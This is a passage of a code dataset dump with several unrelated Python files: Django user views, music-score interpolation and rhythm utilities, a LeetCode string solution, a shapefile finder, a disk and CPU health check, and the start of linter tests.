os.remove(file_name)\n","repo_name":"DamnWidget/anaconda_go","sub_path":"listeners/autoformat.py","file_name":"autoformat.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"61"} +{"seq_id":"30727960298","text":"from django.urls import reverse_lazy\nfrom django.views import generic\nfrom . import forms, models\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse_lazy\nfrom django.views import generic\nfrom django.views.generic import CreateView, UpdateView\nfrom django.contrib import auth\n\n\n\n\nclass SignUp(generic.CreateView):\n form_class = forms.CustomUserCreationForm\n success_url = reverse_lazy('login')\n template_name = 'signup.html'\n\n # def log(self, request):\n # if request.POST[\"Log\"]:\n # user = auth.authenticate(username=request.POST['username'], password=request.POST['password'])\n # if user:\n # auth.login(request, user)\n # return redirect('home')\n\n\ndef RegAndLog (request):\n data = {}\n\n if request.method == \"POST\":\n if request.POST.get('Log'):\n user = auth.authenticate(username=request.POST['username'], password=request.POST['password'])\n if user:\n auth.login(request, user)\n return redirect('home')\n else:\n data = {\n 'usernameLog': request.POST.get('username'),\n 'errors': 'errors'\n }\n\n else:\n form = forms.CustomUserCreationForm(request.POST)\n if form.is_valid():\n user = form.save()\n auth.login(request, user)\n return redirect('home')\n else:\n data = {\n 'username': request.POST.get('username'),\n 'email': request.POST.get('email'),\n 'errors': 'errors'\n }\n\n return render(request, 'LogAndReg.html', data)\n\n\n# def personalAccountView(request, pk):\n#\n# if request.method == \"POST\":\n# if request.FILES['icon']:\n# form = forms.UserChangeIconForm(request.FILES, instance=request.user)\n#\n# if form.is_valid():\n# icon = request.FILES\n# print(icon)\n# print(form)\n# models.CustomUser.objects.filter(pk=pk).update(icon=request.FILES['icon'])\n#\n#\n# # model = models.CustomUser.objects.get(pk=pk)\n# # model.icon = request.FILES\n# # model.save()\n# #print('huilaebuchii')\n# #models.CustomUser.objects.filter(pk=pk).update(icon=request.FILES)\n# #model.save()\n#\n#\n# data = {\n# 'userIn': models.CustomUser.objects.filter(pk=pk)\n# }\n#\n# return render(request, 'personal_account.html', data)\n\n\nclass personalAccountView(UpdateView):\n model = models.CustomUser\n fields = ['username', 'icon']\n template_name = 'personal_account.html'\n success_url = reverse_lazy('home')","repo_name":"RulikTV/Aniquiz-master","sub_path":"AniQUIZ/user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17821698069","text":"#%%\nimport collections\nimport bisect\nimport numpy as np\nfrom scipy import interpolate\nimport numpy as np\nimport torch.nn as nn\nimport torch\nfrom scipy.signal import butter, lfilter, filtfilt\nimport torch.nn.functional as F\n\n\n#%%\ninfinite_defaultdict = lambda: collections.defaultdict(infinite_defaultdict)\ndef butter_lowpass(cutoff, fs, order=5):\n nyq = 0.5 * fs\n normal_cutoff = cutoff / nyq\n b, a = butter(order, normal_cutoff, btype='low', analog=False)\n return b, a\n\ndef butter_lowpass_filter(data, cutoff, fs, order=5):\n b, a = butter_lowpass(cutoff, fs, order=order)\n y = lfilter(b, a, data)\n return y\n\ndef lowpassButter(signal, cutoff, Fs, order=6):\n nyq = 0.5 * Fs\n normal_cutoff = cutoff / nyq\n b, a = butter(order, normal_cutoff, btype='low', analog=False)\n signal = filtfilt(b, a, signal)\n return signal\n# def lowpassButterFast(signal, cutoff, Fs, order=6):\n# nyq = 0.5 * Fs\n# normal_cutoff = cutoff / nyq\n# b, a = butter(order, normal_cutoff, btype='low', analog=False)\n# signal = filtfilt(b, a, signal)\n# return signal\n\n# b, a = butter_lowpass(cutoff=0.1, fs=480, order=3)\ndef getDirs(midisHoldsRests, bugFix = 1, mode = 'linear'):\n midisHoldsRests = np.array(midisHoldsRests)\n scoreLen = len(midisHoldsRests)\n # input here is the whole score not just a measure\n onsetInds = np.where(np.logical_and(midisHoldsRests!=128, midisHoldsRests!=129) == True)[0]\n\n # onsetInds = np.where(midisHolds!=128)[0]\n midiPoints = midisHoldsRests[onsetInds]\n\n onsetInds = np.insert(onsetInds, len(onsetInds) , scoreLen - 1)\n midiPoints = np.insert(midiPoints, len(midiPoints), midiPoints[-1])\n\n if bugFix == 0:\n dirPoints = np.insert(np.diff(midiPoints),0,0)\n # dirs = np.zeros(24)-10\n # for i, ind in enumerate(onsetInds):\n # dirs[ind] = dirPoints[i]\n # dirs = custom2Fixed(dirs, -10)\n # either non causal zero hold\n dirs = None\n if mode == 'zero':\n funcZeroHold = interpolate.interp1d(x=np.sort(scoreLen-1-onsetInds), \n y=np.flip(dirPoints), \n kind='zero',\n fill_value='extrapolate',\n assume_sorted=True)\n dirs = np.flip(funcZeroHold(np.arange(scoreLen)))\n # or just linear\n elif mode == 'linear':\n # print(\"AAA\")\n funcLinear = interpolate.interp1d(x=onsetInds, \n y=dirPoints, \n kind='linear',\n fill_value='extrapolate',\n assume_sorted=True)\n dirs = funcLinear(np.arange(scoreLen))\n return dirs\n elif bugFix == 1:\n midiPointsDuos = [[midiPoints[i],midiPoints[i+1]] for i in range(len(midiPoints)-1)]\n localDiffs = np.diff(midiPointsDuos).reshape(-1)\n onsetIndsDiff = np.diff(onsetInds)\n final = np.zeros(len(midisHoldsRests))\n ind = 0\n for i, diff in enumerate(localDiffs):\n aa = np.linspace(0,diff,onsetIndsDiff[i]+1)\n final[ind:ind+onsetIndsDiff[i]+1] += aa\n # print(final)\n ind += onsetIndsDiff[i]\n return final\n\n\n\n\n\ndef zero_order_hold(x, xp, yp, left=np.nan, assume_sorted=False):\n r\"\"\"\n Interpolates a function by holding at the most recent value.\n\n Parameters\n ----------\n x : array_like\n The x-coordinates at which to evaluate the interpolated values.\n xp: 1-D sequence of floats\n The x-coordinates of the data points, must be increasing if argument period is not specified. Otherwise, xp is internally sorted after normalizing the periodic boundaries with xp = xp % period.\n yp: 1-D sequence of float or complex\n The y-coordinates of the data points, same length as xp.\n left: int or float, optional, default is np.nan\n Value to use for any value less that all points in xp\n assume_sorted : bool, optional, default is False\n Whether you can assume the data is sorted and do simpler (i.e. faster) calculations\n\n Returns\n -------\n y : float or complex (corresponding to fp) or ndarray\n The interpolated values, same shape as x.\n\n Notes\n -----\n #. Written by DStauffman in July 2020.\n\n Examples\n --------\n >>> import numpy as np\n >>> xp = np.array([0., 111., 2000., 5000.])\n >>> yp = np.array([0, 1, -2, 3])\n >>> x = np.arange(0, 6001, dtype=float)\n >>> y = zero_order_hold(x, xp, yp)\n\n \"\"\"\n # force arrays\n x = np.asanyarray(x)\n xp = np.asanyarray(xp)\n yp = np.asanyarray(yp)\n # find the minimum value, as anything left of this is considered extrapolated\n xmin = xp[0] if assume_sorted else np.min(xp)\n # check that xp data is sorted, if not, use slower scipy version\n if assume_sorted or np.all(xp[:-1] <= xp[1:]):\n ix = np.searchsorted(xp, x, side='right') - 1\n return np.where(np.asanyarray(x) < xmin, left, yp[ix])\n func = interp1d(xp, yp, kind='zero', fill_value='extrapolate', assume_sorted=False)\n return np.where(np.asanyarray(x) < xmin, left, func(x))\n\ndef replaceRests(midiVector):\n midiVector = midiVector.astype('float')\n midiVector[midiVector == 0] = np.nan # or use np.nan\n # A = np.array([nan, nan, 1, nan, nan, 2, 2, nan, 0, nan, nan])\n ok = ~np.isnan(midiVector)\n xp = ok.ravel().nonzero()[0]\n # find first non nan value\n if xp[0] == 0 : \n pass\n else : \n for i in range(xp[0]):\n midiVector[i] = midiVector[xp[0]]\n fp = midiVector[~np.isnan(midiVector)]\n x = np.isnan(midiVector).ravel().nonzero()[0]\n\n midiVector[np.isnan(midiVector)] = zero_order_hold(x, xp, fp, assume_sorted=True)\n return midiVector\n \nclass Vocabulary:\n def __init__(self, name):\n self.name = name\n self.token2index = {}\n self.token2count = {}\n self.index2token = {}\n self.n_tokens = 0 \n \n def index_tokens(self, tokenList):\n for token in tokenList:\n self.index_token(token)\n\n def index_token(self, token):\n if token not in self.token2index:\n self.token2index[token] = self.n_tokens\n self.token2count[token] = 1\n self.index2token[self.n_tokens] = token\n self.n_tokens += 1\n else:\n self.token2count[token] += 1\n\nclass RhythmTemplate(object):\n def __init__(self,timeSignature):\n if not isinstance(timeSignature,str):\n inp = timeSignature.string\n else:\n inp = timeSignature\n if inp == '2/4':\n self.bar = [1, 0, 0, 0, 0, 0, 0,-1]\n self.beat = [0,-2,-1,-2, 0,-2,-1,-2]\n self.accent=[0,-3,-2,-3,-1,-3,-2,-3]\n elif inp == '3/4':\n self.bar = [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,-1]\n self.beat = [0,-2,-1,-2, 0,-2,-1,-2, 0,-2,-1,-2]\n self.accent=[0,-3,-2,-3,-1,-3,-2,-3,-1,-3,-2,-3] \n elif inp == '4/4':\n self.bar = [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,-1]\n self.beat = [0,-2,-1,-2, 0,-2,-1,-2, 0,-2,-1,-2, 0,-2,-1,-2]\n self.accent=[0,-3,-2,-3,-2,-4,-3,-4,-1,-3,-2,-3,-2,-4,-3,-4] \n elif inp == '3/8':\n self.bar = [1, 0, 0, 0, 0,-1]\n self.beat = [0,-1, 0,-1, 0,-1]\n self.accent=[0,-3,-2,-3,-2,-3] \n elif inp == '4/8':\n self.bar = [1, 0, 0, 0, 0, 0, 0,-1]\n self.beat = [0,-1, 0,-1, 0,-1, 0,-1]\n self.accent=[0,-3,-2,-3,-1,-3,-2,-3] \n elif inp == '6/8':\n self.bar = [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,-1]\n self.beat = [0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1]\n self.accent=[0,-3,-2,-3,-2,-3,-1,-3,-2,-3,-2,-3]\n elif inp == '9/8':\n self.bar = [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,-1]\n self.beat = [0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1]\n self.accent=[0,-3,-2,-3,-2,-3,-1,-3,-2,-3,-2,-3,-1,-3,-2,-3,-2,-3]\n elif inp == '12/8':\n self.bar = [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,-1]\n self.beat = [0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1, 0,-1]\n self.accent=[0,-3,-2,-3,-2,-3,-1,-3,-2,-3,-2,-3,-1,-3,-2,-3,-2,-3,-1,-3,-2,-3,-2,-3]\n else:\n self.bar = None\n self.beat = None\n self.accent= None\n print(f\"no info for timeSignature {inp}\")\n def getRhythmTokens(self, dur,mode):\n if mode == 'first':\n return [str(self.bar[i%len(self.bar)])+'_'+ str(self.beat[i%len(self.bar)])+'_'+str(self.accent[i%len(self.bar)]) for i in range(-dur,0)]\n elif mode == 'last' or mode == 'between' :\n return [str(self.bar[i%len(self.bar)])+'_'+ str(self.beat[i%len(self.bar)])+'_'+str(self.accent[i%len(self.bar)]) for i in range(0,dur)]\n else:\n return None\n\nclass TimeSignature(object):\n def __init__(self, nom = None, denom = None, beats = None, accents = None):\n self.nom = nom\n self.denom = denom \n self.beats = beats \n self.accents = accents \n self.duration16 = int(self.nom*16/self.denom)\n self.string = str(self.nom) + '/' + str(self.denom)\n\ndef getTimeSignaturesNumber(measures):\n timeSignatureChanges = -1\n for i in range(len(measures)):\n try:\n if measures[i].timeSignature is not None:\n timeSignatureChanges += 1\n except:\n pass\n return timeSignatureChanges + 1\n\ndef getTimeSignatureFraction(measures):\n beatCount = measures[0].timeSignature.beatCount\n beatDur = measures[0].timeSignature.beatDuration.quarterLength\n if beatDur-int(beatDur)>0:\n #then the denominator is 8\n denom = 8\n nom = int((beatCount*beatDur/0.5))\n else:\n #the denominator is 4\n denom = 4\n nom = int(beatCount*beatDur/1)\n return nom, denom\n\ndef custom1(pinakas, emptyVal = -10):\n\n telos = 0\n arxi = 0\n isActive = False\n for slot in range(len(pinakas)-1,-1,-1):\n if pinakas[slot] == emptyVal:\n if not isActive:\n telos = slot+1\n arxi = slot\n isActive = 1\n else:\n arxi = slot\n else:\n if not isActive:\n pass\n else:\n # arxi = slot\n pinakas[arxi:telos] = pinakas[slot]\n isActive = 0\n # print(pinakas)\n return pinakas\n\ndef custom2(pinakas, emptyVal = -10):\n\n telos = 0\n arxi = 0\n isActive = False\n for slot in range(len(pinakas)-1,-1,-1):\n if pinakas[slot] == emptyVal:\n if not isActive:\n # it means we are at the end of the vector\n pinakas[slot] = 0\n else:\n arxi = slot\n\n else:\n if not isActive:\n isActive = 1\n telos = slot\n arxi = slot #- 1\n else:\n pinakas[arxi:telos] = pinakas[telos]\n isActive = 0\n if isActive : \n # empty values at the begining \n pinakas[arxi:telos] = pinakas[telos]\n \n return pinakas\n\n# TODO to pes, kanto kiolas.\ndef custom2Fixed(pinakas, emptyVal = -10):\n\n telos = 0\n arxi = 0\n isActive = False\n for slot in range(len(pinakas)-1,-1,-1):\n if pinakas[slot] == emptyVal:\n if not isActive:\n # it means we are at the end of the vector\n pinakas[slot] = 0\n else:\n arxi = slot\n\n else:\n if not isActive:\n isActive = 1\n telos = slot\n arxi = slot #- 1\n else:\n pinakas[arxi:telos] = pinakas[telos]\n isActive = 0\n if isActive : \n # empty values at the begining \n pinakas[arxi:telos] = pinakas[telos]\n \n return pinakas\n\ndef fftnoise(f):\n f = np.array(f, dtype='complex')\n Np = (len(f) - 1) // 2\n phases = np.random.rand(Np) * 2 * np.pi\n phases = np.cos(phases) + 1j * np.sin(phases)\n f[1:Np+1] *= phases\n f[-1:-1-Np:-1] = np.conj(f[1:Np+1])\n return np.fft.ifft(f).real\ndef band_limited_noise(min_freq, max_freq, samples=1024, samplerate=1):\n freqs = np.abs(np.fft.fftfreq(samples, 1/samplerate))\n f = np.zeros(samples)\n idx = np.where(np.logical_and(freqs>=min_freq, freqs<=max_freq))[0]\n f[idx] = 1\n return fftnoise(f)\n#%%\nframes = 2500000\nsqAl = np.zeros(frames) + 1\n# sqAl[frames//2:] = -1\noriginalAlignment = np.linspace(-1,1,frames)\nprint(np.mean(np.abs(sqAl - originalAlignment)))\n\n#%%\n\ndef getRandomDistortion2(n_frames, p_original = 0.5, maxDistPoints=5, mode='linear'):\n originalAlignment = np.linspace(-1,1,n_frames)\n distortedAlignment = np.zeros(n_frames)#np.linspace(-1,1,n_frames)\n \n # while np.max(np.abs(distortedAlignment - originalAlignment)) >= maxDist or np.max(np.abs(distortedAlignment - originalAlignment)) <= minDist : \n # while np.mean(np.abs(np.zeros(n_frames) - originalAlignment)) < 1 :\n # newPoints = np.random.rand(int(n_frames*distRate))\n # distPoints = 2 gives the original\n isOriginal = np.random.choice([True, False], p=[p_original, 1-p_original])\n zari = np.random.uniform()\n if isOriginal == True:\n distortedAlignment = originalAlignment\n reverseAlignment = originalAlignment\n else : \n distPoints = np.random.choice(np.arange(3, 3 + maxDistPoints))\n\n newPoints = np.random.rand(distPoints)\n newPoints = np.sort(\n (newPoints - np.min(newPoints)) * 2 /\n (np.max(newPoints) - np.min(newPoints)) - 1)\n f = interpolate.interp1d(np.linspace(-1, 1, len(newPoints)), newPoints, kind=mode)\n # f_i = interpolate.interp1d(newPoints, np.linspace(-1, 1, len(newPoints)), kind=mode)\n distortedAlignment = f(np.linspace(-1, 1, n_frames))\n # reverseAlignment = f_i(np.linspace(-1, 1, n_frames))\n\n # print(np.mean(np.abs(distortedAlignment - originalAlignment)))\n # plt.plot(np.linspace(-1,1,n_frames), distortedAlignment )\n # plt.plot(np.linspace(-1,1,n_frames), reverseAlignment )\n # plt.xlim(-1,1)\n # plt.ylim(-1,1)\n # plt.gca().set_aspect('equal', adjustable='box')\n # plt.draw()\n # fidelity = np.mean(np.abs(distortedAlignment - originalAlignment)) # always from 0 to 1\n \n return distortedAlignment#, reverseAlignment, fidelity#, distortedAlignmentSmooth[0,0,:].detach().numpy()\n\ndef getRandomDistortion3(n_frames, maxDistPoints=5, mode='linear'):\n originalAlignment = np.linspace(-1,1,n_frames)\n\n # distortedAlignment = np.zeros(n_frames)#np.linspace(-1,1,n_frames)\n \n distPoints = np.random.choice(np.arange(3, 3 + maxDistPoints))\n\n newPoints = np.random.rand(distPoints)\n newPoints = np.sort(\n (newPoints - np.min(newPoints)) * 2 /\n (np.max(newPoints) - np.min(newPoints)) - 1)\n f = interpolate.interp1d(np.linspace(-1, 1, len(newPoints)), newPoints, kind=mode)\n f_i = interpolate.interp1d(newPoints, np.linspace(-1, 1, len(newPoints)), kind=mode)\n distortedAlignment = f(np.linspace(-1, 1, n_frames))\n reverseAlignment = f_i(np.linspace(-1, 1, n_frames))\n \n fidelity = np.mean(np.abs(distortedAlignment - originalAlignment)) # always from 0 to 1\n\n return distortedAlignment, reverseAlignment, fidelity\n\n\ndef getRandomDistortion4(n_frames, distPoints=5, mode='linear'):\n originalAlignment = np.linspace(-1,1,n_frames)\n\n # distortedAlignment = np.zeros(n_frames)#np.linspace(-1,1,n_frames)\n \n distPoints = 3 + distPoints\n\n newPoints = np.random.rand(distPoints)\n newPoints = np.sort(\n (newPoints - np.min(newPoints)) * 2 /\n (np.max(newPoints) - np.min(newPoints)) - 1)\n f = interpolate.interp1d(np.linspace(-1, 1, len(newPoints)), newPoints, kind=mode)\n f_i = interpolate.interp1d(newPoints, np.linspace(-1, 1, len(newPoints)), kind=mode)\n distortedAlignment = f(np.linspace(-1, 1, n_frames))\n reverseAlignment = f_i(np.linspace(-1, 1, n_frames))\n \n fidelity = np.mean(np.abs(distortedAlignment - originalAlignment)) # always from 0 to 1\n\n return distortedAlignment, reverseAlignment, fidelity\ndef distortCurve2(curve, distortion, nSamples):\n # distort the curve\n curveT = torch.tensor(curve).view(1,1,nSamples,1).float()\n grid = torch.zeros(1,nSamples,1,2).float() - 1\n grid[0,:,0,1] = torch.from_numpy(distortion)\n curveDistT = F.grid_sample(curveT, grid, align_corners=True,padding_mode=\"reflection\")\n return curveDistT.detach().squeeze().numpy()\n#%%\ndef convLowPass(x, kernel = 101, returnNumpy = False):\n kernel = int((kernel//2)*2 + 1)\n weights = nn.Parameter(torch.tensor([1/kernel for i in range(kernel)]).view(1,1,kernel))\n convSmooth = nn.Conv1d(in_channels=1, out_channels=1, kernel_size=kernel, padding = kernel//2,padding_mode = 'reflect', bias=False)\n convSmooth.weight = weights\n convSmooth.requires_grad = False\n\n # distortedAlignmentSmooth = convSmooth(torch.flip(torch.tensor(distortedAlignment).view(1,1,-1).float(), [2]))\n if not torch.is_tensor(x):\n x = torch.tensor(x)\n y = convSmooth(x.view(1,1,-1).float())\n if returnNumpy is True:\n return y.squeeze().detach().numpy()\n return y\n\n\n#%%\n\ndef getRandomDistortion(n_frames, distRate=0.5, fidelity = 0.5, minDist=0, maxDist=1, areaDist=0, mode='linear'):\n originalAlignment = np.linspace(-1,1,n_frames)\n distortedAlignment = np.zeros(n_frames)#np.linspace(-1,1,n_frames)\n \n while np.max(np.abs(distortedAlignment - originalAlignment)) >= maxDist or np.max(np.abs(distortedAlignment - originalAlignment)) <= minDist : \n # while np.mean(np.abs(np.zeros(n_frames) - originalAlignment)) < 1 :\n newPoints = np.random.rand(int(n_frames*distRate))\n newPoints = np.sort(\n (newPoints - np.min(newPoints)) * 2 /\n (np.max(newPoints) - np.min(newPoints)) - 1)\n f = interpolate.interp1d(np.linspace(-1, 1, len(newPoints)), newPoints, kind=mode)\n f_i = interpolate.interp1d(newPoints, np.linspace(-1, 1, len(newPoints)), kind=mode)\n distortedAlignment = f(np.linspace(-1, 1, n_frames))\n reverseAlignment = f_i(np.linspace(-1, 1, n_frames))\n # print(np.max(np.abs(distortedAlignment - originalAlignment)))\n # plt.plot(np.linspace(-1,1,n_frames), distortedAlignment )\n # plt.plot(np.linspace(-1,1,n_frames), reverseAlignment )\n\n\n # TODO forget smoothing for now. It's not easy to smooth the reverse one. \n # kernel = 201\n # weights = nn.Parameter(torch.tensor([1/kernel for i in range(kernel)]).view(1,1,kernel))\n # convSmooth = nn.Conv1d(in_channels=1, out_channels=1, kernel_size=kernel, padding = kernel//2,padding_mode = 'reflect', bias=False)\n # convSmooth.weight = weights\n # # distortedAlignmentSmooth = convSmooth(torch.flip(torch.tensor(distortedAlignment).view(1,1,-1).float(), [2]))\n # distortedAlignmentSmooth = convSmooth(torch.tensor(distortedAlignment).view(1,1,-1).float())\n # reverseAlignmentSmooth = convSmooth(torch.tensor(reverseAlignment).view(1,1,-1).float())\n\n\n # plt.plot(originalAlignment, distortedAlignment)\n # plt.plot(originalAlignment, distortedAlignmentSmooth[0,0,:].detach().numpy())\n # plt.plot(originalAlignment, reverseAlignment)\n # plt.plot(originalAlignment, reverseAlignmentSmooth[0,0,:].detach().numpy())\n # plt.xlim(-1,1)\n # plt.ylim(-1,1)\n # plt.gca().set_aspect('equal', adjustable='box')\n # plt.draw()\n\n # plt.figure()\n # plt.plot(distortedAlignment - distortedAlignmentSmooth[0,0,:].detach().numpy())\n return distortedAlignment, reverseAlignment #, distortedAlignmentSmooth[0,0,:].detach().numpy()\n\n# %%\n\n\n#%%\ndef distortCurve(curve, distortedAlignment):\n floatIndices = (distortedAlignment + 1) / 2 * (len(curve)-1)\n floorIndices = np.floor(floatIndices).astype(np.int)\n ceilIndices = np.ceil(floatIndices).astype(np.int)\n ceil2Indices = floorIndices + 1\n curveDist = curve[floorIndices]*(ceil2Indices-floatIndices) + curve[ceilIndices]*(floatIndices-floorIndices)\n # plt.figure()\n # plt.plot(curveDist)\n # plt.figure()\n # plt.plot(distortedAlignment)\n return curveDist\n\ndef getMeasuresMap(measuresVector):\n # input must be np.array 1xlength, not just ,length\n measuresMap = collections.OrderedDict()\n indices = np.where(measuresVector.astype(np.int8)==1)[1]\n # if indices[0]!=0:\n # pickupBegin = True \n for i, ind in enumerate(indices):\n \n if i == len(indices)-1:\n nextInd = len(measuresVector)\n else : \n nextInd = indices[i+1]\n measuresMap[i] = (ind, nextInd)\n return measuresMap\n\nclass SmoothInterp():\n def __init__(self, x,y,p,s, measureLength, endPoint=True):\n # x = indices of given points\n # y = values of given points\n self.funcList = []\n self.indList = []\n self.x = x\n self.y = y\n self.p = p # [0.01, 0.99] depends on the style of the user\n self.s = s # [0, 0.99] the same\n self.c = 2/(1-s) - 1\n self.measureLength = measureLength\n if endPoint == True :\n self.x.append(self.measureLength-1)\n self.y.append(self.y[-1])\n for i in range(len(self.x)-1):\n left = self.x[i]\n right = self.x[i+1]\n middle = p*left + (1-p)*right\n len1 = middle - left\n len2 = right - middle \n lenTotal = right - left\n midi1 = self.y[i]\n midi2 = self.y[i+1]\n h = midi2 - midi1\n \n # f = self.myFunc(h, self.c, lenTotal)\n f = lambda x, n, h=h, c=self.c, l=lenTotal : ((h*x**c)/(n**(c-1)))/(l-0)\n # f = lambda x, n, h=h, l=lenTotal : ((h*x**3)/(n**(3-1)))/(l-0)\n l1 = lambda x, len1=len1, f=f, midi1 = midi1 : f(x,len1) + midi1\n l2 = lambda x, lenTotal=lenTotal, f=f, len1=len1, midi1=midi1, h=h: 1 - f(lenTotal-x, lenTotal-len1) + h - 1 + midi1\n # func = f(x,m)\n # self.funcList.append({\"range\":[left,middle],\"func\":l1})\n # self.funcList.append({\"range\":[middle,right],\"func\":l2})\n\n # print(f\"left {left} right {right} middle {middle} midi1 {midi1} midi2 {midi2}\")\n # print(f\"l1(left) {l1(left - left)}\")\n # print(f\"l1(middle) {l1(middle - left)}\")\n # print(f\"l2(middle) {l2(middle - left)}\")\n # print(f\"l2(right) {l2(right - left)}\")\n # if i ==0 :\n # for j in range(11):\n # print(l1(j))\n # print(\"\\n\")\n # for j in range(11):\n # print(l2(j))\n # print(f\"test low {midi1} : {l1(left)} middle1 {middle} : {l1(middle)} middle2 {middle} : {l2(middle)} high {midi2} : {l2(right)}\")\n self.indList.extend([left, middle])\n self.funcList.extend([l1,l2])\n # del l1, l2\n def __call__(self, newXs):\n # TODO x should be normalized from 0 to 1 ? In this case I need to store the initial size of the measure (i.e 96)\n # if newX<=1 : \n # newX *= self.measureLength\n if not isinstance(newXs, list):\n newXs = [newXs]\n if newXs[-1] >= self.measureLength:\n assert(False)\n out = []\n for newX in newXs: \n ind = bisect.bisect_right(self.indList, newX) - 1\n ind2 = bisect.bisect_right(self.x, newX) - 1\n # print(f\"ind {ind} newX {newX} real {newX - self.x[ind2]}\")\n out.append(self.funcList[ind](newX - self.x[ind2]))\n return out\n def myFunc(self,h,c,l):\n print(f\"myFunc h {h} c {c} l {l}\")\n return lambda x, n, h=h, c=c, l=l : ((h*x**c)/(n**(c-1)))/(l-0)\n","repo_name":"xribene/DrawAndListen","sub_path":"utilsDataset.py","file_name":"utilsDataset.py","file_ext":"py","file_size_in_byte":24354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"10298499744","text":"class Solution:\n def areAlmostEqual(self, s1: str, s2: str) -> bool:\n if s1 == s2:\n return True\n k1 = list(s1)\n k2 = list(s2)\n k1.sort()\n k2.sort()\n if k1!=k2:\n return False\n b = []\n for i in range(len(s1)):\n if s1[i]!=s2[i]:\n b.append(s1[i])\n if len(b)==2:\n return True\n return False","repo_name":"iamnitya/LeetCode","sub_path":"1790-check-if-one-string-swap-can-make-strings-equal/1790-check-if-one-string-swap-can-make-strings-equal.py","file_name":"1790-check-if-one-string-swap-can-make-strings-equal.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74266512193","text":"import os\nimport sys\n\ndef fromDir( targetDir, printRealError = False ):\n\n targetList = []\n\n dirs = os.listdir(targetDir)\n for d in dirs:\n try:\n shpDir = targetDir + \"/\" + d\n files = os.listdir(shpDir)\n found = False\n for f in files:\n splitTuple = os.path.splitext(shpDir + \"/\" + f)\n if splitTuple[1] == \".dbf\":\n targetList.append(splitTuple[0])\n found = True\n if not found :\n print( \"WARN: No .dbf found in \", shpDir)\n except Exception as e:\n print(\"Find invalid operation in\", d)\n if printRealError:\n print(\"ERROR: \", e)\n continue\n\n return targetList\n\ndef main():\n if len(sys.argv) <=1:\n print(sys.argv[0], \" <dir>\")\n return 0\n\n print('Target dir:', sys.argv[1])\n targetDir = sys.argv[1]\n\n targetShps = fromDir( targetDir )\n for s in targetShps:\n print( s )\n\n print( \"total count:\", len( targetShps ) )\n return 0\n\nif __name__ == \"__main__\":\n sys.exit(main())\n\n\n","repo_name":"yensydney/labGISReport","sub_path":"findReadibleShps/findReadibleShps.py","file_name":"findReadibleShps.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74249109633","text":"#!/usr/bin/env python\nimport shutil\nimport psutil \n\n#psutil (Python system and process utilities) is a cross-platform library for retrieving information on the processes currently running and system utilization (CPU, memory, disks, network, sensors) in Python\n\n#he shutil module offers a number of high-level operations on files and collections of files. In particular, it provides functions that support file copying and removal. It comes under Python's standard utility modules. disk_usage() method is used to get disk usage statistics of the given path. \n\ndef check_disk_usage(disk):\n du = shutil.disk_usage(\"/\")\n free = du.free / du.total * 100\n return free > 20\n\ndef check_cpu_usage():\n usage = psutil.cpu_percent(1)\n return usage < 75\n\nif not check_disk_usage(\"/\") or not check_cpu_usage():\n print(\"ERROR!\")\nelse:\n print(\"Everything is OK!\")","repo_name":"LeonGodfrey/python_scripts","sub_path":"health_checks.py","file_name":"health_checks.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73631704193","text":"import unittest\nfrom token_class import Token\nfrom token_type import TokenType\nfrom style_checker import StyleChecker\nfrom tokenizer import Tokenizer\n\n\nPATH_TO_DIR = r\"D:\\GitHubProjects\\Linter\\test\\test_files\"\n\n\nclass Test(unittest.TestCase):\n @staticmethod\n def tokenizing_line(relative_path):\n path = PATH_TO_DIR + relative_path\n tokenizer = Tokenizer(path)\n result = tokenizer.read_line()\n return result\n\n @staticmethod\n def tokenizing_lines(relative_path):\n path = PATH_TO_DIR + relative_path\n tokenizer = Tokenizer(path)\n result = []\n line = tokenizer.read_line()\n while line:\n result.append(line)\n line = tokenizer.read_line()\n return result\n\n def style_checker_test_identifiers_names(\n self, method, correct_names, incorrect_names\n ):\n if correct_names:\n for correct_name in correct_names:\n correct, message = method(correct_name)\n self.assertTrue(correct)\n if incorrect_names:\n for incorrect_name in incorrect_names:\n correct, result = method(incorrect_name)\n self.assertFalse(correct)\n\n def test_variable_name(self):\n self.style_checker_test_identifiers_names(\n StyleChecker.check_variable_style,\n [\"correct_name\"],\n [\"digits123\", \"Uppercase\", \"русские_буквы\"]\n )\n\n def test_global_variables_name(self):\n self.style_checker_test_identifiers_names(\n StyleChecker.check_global_variable_style,\n [\"CORRECT_NAME\"],\n [\"loWERCASE\", \"digits123\", \"русские_буквы\"]\n )\n\n def test_method_name(self):\n self.style_checker_test_identifiers_names(\n StyleChecker.check_method_style,\n [\"correct_name\"],\n [\"digits123\", \"Uppercase\", \"русские_буквы\"]\n )\n\n def test_package_name(self):\n self.style_checker_test_identifiers_names(\n StyleChecker.check_package_style,\n [\"correct_name\"],\n [\"digits123\", \"Uppercase\", \"русские_буквы\"]\n )\n\n def test_class_name(self):\n self.style_checker_test_identifiers_names(\n StyleChecker.check_class_style,\n [\"CorrectName\"],\n [\"Digits123\", \"lowercase\", \"русские_буквы\", \"Under_Score\"]\n )\n\n def style_checker_test_ws(self, correct_file, incorrect_file):\n tokens_line = 